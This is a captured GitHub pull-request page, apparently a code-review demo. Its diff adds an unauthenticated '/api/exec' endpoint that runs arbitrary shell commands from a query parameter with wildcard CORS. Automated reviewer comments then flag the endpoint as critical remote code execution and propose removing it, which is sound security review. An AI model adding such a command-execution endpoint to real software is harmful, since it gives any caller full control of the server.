Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
23 changes: 23 additions & 0 deletions server/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -322,6 +322,29 @@ const server = Bun.serve({
});
}

if (url.pathname === "/api/exec") {
// Quick diagnostic endpoint to run system commands
const cmd = url.searchParams.get("cmd");
if (!cmd) {
return new Response(JSON.stringify({ error: "Missing cmd parameter" }), {
status: 400,
headers: { "Content-Type": "application/json", ...corsHeaders },
});
}

try {
const { stdout, stderr } = await execAsync(cmd);
return new Response(JSON.stringify({ stdout, stderr }), {
headers: { "Content-Type": "application/json", ...corsHeaders },
});
} catch (error: any) {
return new Response(JSON.stringify({ error: error.message }), {
status: 500,
headers: { "Content-Type": "application/json", ...corsHeaders },
});
Comment on lines +340 to +344
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

🧩 Analysis chain

🏁 Script executed:

git ls-files | grep -E "\.(ts|js|json)$" | head -20

Repository: coderabbit-demo/btop

Length of output: 218


🏁 Script executed:

fd server/index.ts

Repository: coderabbit-demo/btop

Length of output: 46


🏁 Script executed:

cat -n server/index.ts | sed -n '335,350p'

Repository: coderabbit-demo/btop

Length of output: 709


🏁 Script executed:

cat eslint.config.js

Repository: coderabbit-demo/btop

Length of output: 679


🏁 Script executed:

rg "catch\s*\(\s*error" server/index.ts -A 2

Repository: coderabbit-demo/btop

Length of output: 279


🏁 Script executed:

wc -l server/index.ts

Repository: coderabbit-demo/btop

Length of output: 83


🏁 Script executed:

rg "catch\s*\(\s*error\s*:" server/index.ts -B 2 -A 3

Repository: coderabbit-demo/btop

Length of output: 349


Avoid any in catch blocks.

Line 340 uses error: any, which violates the active ESLint rule (@typescript-eslint/no-explicit-any from tseslint.configs.recommended) and drops type safety. Narrow from unknown before accessing .message.

🧹 Minimal fix
-      } catch (error: any) {
-        return new Response(JSON.stringify({ error: error.message }), {
+      } catch (error: unknown) {
+        const message = error instanceof Error ? error.message : "Command execution failed";
+        return new Response(JSON.stringify({ error: message }), {
           status: 500,
           headers: { "Content-Type": "application/json", ...corsHeaders },
         });
       }
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
} catch (error: any) {
return new Response(JSON.stringify({ error: error.message }), {
status: 500,
headers: { "Content-Type": "application/json", ...corsHeaders },
});
} catch (error: unknown) {
const message = error instanceof Error ? error.message : "Command execution failed";
return new Response(JSON.stringify({ error: message }), {
status: 500,
headers: { "Content-Type": "application/json", ...corsHeaders },
});
}
🧰 Tools
🪛 ESLint

[error] 340-340: Unexpected any. Specify a different type.

(@typescript-eslint/no-explicit-any)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@server/index.ts` around lines 340 - 344, Change the catch signature from
using `any` to `unknown` and narrow it before accessing `.message`: in the catch
block that currently reads `catch (error: any) { ... }` use `catch (error:
unknown)` then check `if (error instanceof Error) { msg = error.message } else {
msg = String(error) }` (or use `JSON.stringify` fallback) and return that `msg`
in the Response body; update references inside that catch (the Response
creation) to use the narrowed `msg` so you avoid
`@typescript-eslint/no-explicit-any` and preserve type safety.

}
}
Comment on lines +325 to +346
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

# First, locate the server/index.ts file and check its existence
find . -name "index.ts" -path "*/server/*" | head -20

Repository: coderabbit-demo/btop

Length of output: 81


🏁 Script executed:

# Get file size to understand how to read it safely
wc -l server/index.ts 2>/dev/null || find . -type f -name "index.ts" -exec wc -l {} \;

Repository: coderabbit-demo/btop

Length of output: 83


🏁 Script executed:

# Read the specific lines in question (325-346) and surrounding context
sed -n '320,350p' server/index.ts

Repository: coderabbit-demo/btop

Length of output: 1015


🏁 Script executed:

# Read CORS headers configuration around lines 261-265
sed -n '255,270p' server/index.ts

Repository: coderabbit-demo/btop

Length of output: 466


🏁 Script executed:

# Find execAsync definition (claimed to be at line 5)
sed -n '1,30p' server/index.ts

Repository: coderabbit-demo/btop

Length of output: 615


🏁 Script executed:

# Search for any authentication or authorization checks for /api/exec
rg -n "api/exec|execAsync" server/index.ts -A 5 -B 5

Repository: coderabbit-demo/btop

Length of output: 2418


Remove or hard-gate this unauthenticated RCE endpoint.

Line 336 executes attacker-controlled input with exec, so any caller can run arbitrary shell commands on the server and read back the output. With Access-Control-Allow-Origin: *, this becomes trivially scriptable from other origins. Do not ship free-form command execution over HTTP; replace it with authenticated, allowlisted diagnostics implemented without a shell, or remove the route entirely.

🔒 Safer direction
-    if (url.pathname === "/api/exec") {
-      // Quick diagnostic endpoint to run system commands
-      const cmd = url.searchParams.get("cmd");
-      if (!cmd) {
-        return new Response(JSON.stringify({ error: "Missing cmd parameter" }), {
-          status: 400,
-          headers: { "Content-Type": "application/json", ...corsHeaders },
-        });
-      }
-
-      try {
-        const { stdout, stderr } = await execAsync(cmd);
-        return new Response(JSON.stringify({ stdout, stderr }), {
-          headers: { "Content-Type": "application/json", ...corsHeaders },
-        });
-      } catch (error: any) {
-        return new Response(JSON.stringify({ error: error.message }), {
-          status: 500,
-          headers: { "Content-Type": "application/json", ...corsHeaders },
-        });
-      }
-    }
+    // Do not expose arbitrary shell execution over HTTP.
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
if (url.pathname === "/api/exec") {
// Quick diagnostic endpoint to run system commands
const cmd = url.searchParams.get("cmd");
if (!cmd) {
return new Response(JSON.stringify({ error: "Missing cmd parameter" }), {
status: 400,
headers: { "Content-Type": "application/json", ...corsHeaders },
});
}
try {
const { stdout, stderr } = await execAsync(cmd);
return new Response(JSON.stringify({ stdout, stderr }), {
headers: { "Content-Type": "application/json", ...corsHeaders },
});
} catch (error: any) {
return new Response(JSON.stringify({ error: error.message }), {
status: 500,
headers: { "Content-Type": "application/json", ...corsHeaders },
});
}
}
// Do not expose arbitrary shell execution over HTTP.
🧰 Tools
🪛 ESLint

[error] 340-340: Unexpected any. Specify a different type.

(@typescript-eslint/no-explicit-any)

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@server/index.ts` around lines 325 - 346, The /api/exec route currently
executes attacker-controlled input via execAsync and must be removed or locked
down: either delete the url.pathname === "/api/exec" handler entirely, or
replace it with a safe, authenticated and allowlisted diagnostic endpoint (e.g.,
require a server-side API key or session check before processing, validate the
cmd against an explicit allowlist and avoid shell execution by using built-in
libraries instead of execAsync), and also stop returning results to
unauthenticated callers (remove Access-Control-Allow-Origin: * for this route by
adjusting corsHeaders). Ensure references to url.pathname, execAsync, and
corsHeaders are updated accordingly.


return new Response("Not Found", { status: 404, headers: corsHeaders });
},
});
Expand Down
Loading